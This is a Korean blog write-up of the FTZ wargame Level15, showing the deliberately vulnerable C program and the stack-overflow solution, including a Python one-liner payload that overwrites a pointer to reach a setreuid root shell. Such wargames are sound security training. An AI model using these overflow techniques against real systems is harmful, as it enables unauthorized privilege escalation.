Sqix

FTZ Level15 본문

Wargame/FTZ

FTZ Level15

Sqix_ow 2018. 7. 10. 16:56


==============================

hint


#include <stdio.h>


main()

{

int crap;

int *check;

char buf[20];

fgets(buf, 45, stdin);

if(*check == 0xdeadbeef)

{
    setreuid(3096,3096);

    system("/bin/sh");

}

}

==============================


이번엔 포인터로 변수가 지정되어 있습니다. 이전처럼 buf랑 dummy를 덮고 이 부분을 0xdeadbeef로 만드는 것은 할 수 없을 것 같습니다.


환경 변수에 0xdeadbeef를 등록하여 이 환경 변수의 주소를 가져오도록 하던지, 아니면 main함수에서 0xdeadbeef가 저장된 주소 혹은 오프셋을 구해서


해당 주소의 값을 참조하도록 하면 될 듯 합니다.


스택을 확인해본 결과 이전 문제와 동일하게 구성되어 있습니다.



일단 main에서 0xdeadbeef가 있나 먼저 찾아보았습니다. 0x80483e4 부분에 존재하는 것을 확인할 수 있었습니다.


저는 따라서 0x41로 40을, 그리고 0x80483e4로 check가 참조할 주소를 입력해 넣으려고 합니다.


그런데 $ (python -c 'print "A" * 40 + "\xe4\x83\x04\x08"'; cat) | ./attackme 명령어를 넣었더니 tmp에서는 쉘을 획득하는데 성공하지만, 


원래 있던 level15 폴더에선 성공하지 못하였습니다.


그 이유는 경로의 차이 때문에 주소공간이 바뀌어서 그런 것입니다. 해당 방법을 찾기 위해 고민하던 중 gdb가 level15 폴더의 attackme에도 붙는 것을 알아냈습니다.



그래서 그에 맞추어서 입력을 해 넣었습니다.


성공!



'Wargame > FTZ' 카테고리의 다른 글

FTZ Level17  (0) 2018.07.20
FTZ Level16  (0) 2018.07.20
FTZ Level14  (0) 2018.07.10
FTZ Level13  (0) 2018.06.29
FTZ Level12  (0) 2018.06.29
Comments